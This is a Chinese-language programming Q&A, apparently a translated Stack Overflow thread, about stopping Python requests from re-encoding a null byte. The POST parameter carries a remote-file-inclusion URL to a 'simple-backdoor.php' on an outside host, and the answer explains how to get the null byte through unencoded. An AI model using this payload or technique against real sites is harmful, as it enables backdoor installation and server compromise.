请注意,以下代码段用于在受控环境中进行远程文件包含攻击(此处不做任何恶意操作)。
我正在尝试对网址发布请求:
resp = requests.post("http://example.com/test/index.php",data=post_data,cookies=cookie,proxies=proxies,config={'encode_uri': False})
其中一个数据参数是一个用于文件包含的url,最后它有一个nullbyte:
http://mysite.org/simple-backdoor.php%00
但请求正在做的是在最后重新编码nullbyte,使其无用
http%3A%2F%2Fmysite.org%2Fsimple-backdoor.php%2500
我尝试追加config={'encode_uri': False})
,但这会导致相同的行为。有没有人知道如何禁用这种编码或如何引入一个被编码为%00的nullbyte字符?
答案 0 :(得分:1)
请求v2.0.0以后没有(因此尊重)encode_uri
。 It tries to encode data if data isn't a string。
使用unicode null-byte而不是%00,或手动编码data
的每个组件并将data
形成为字符串。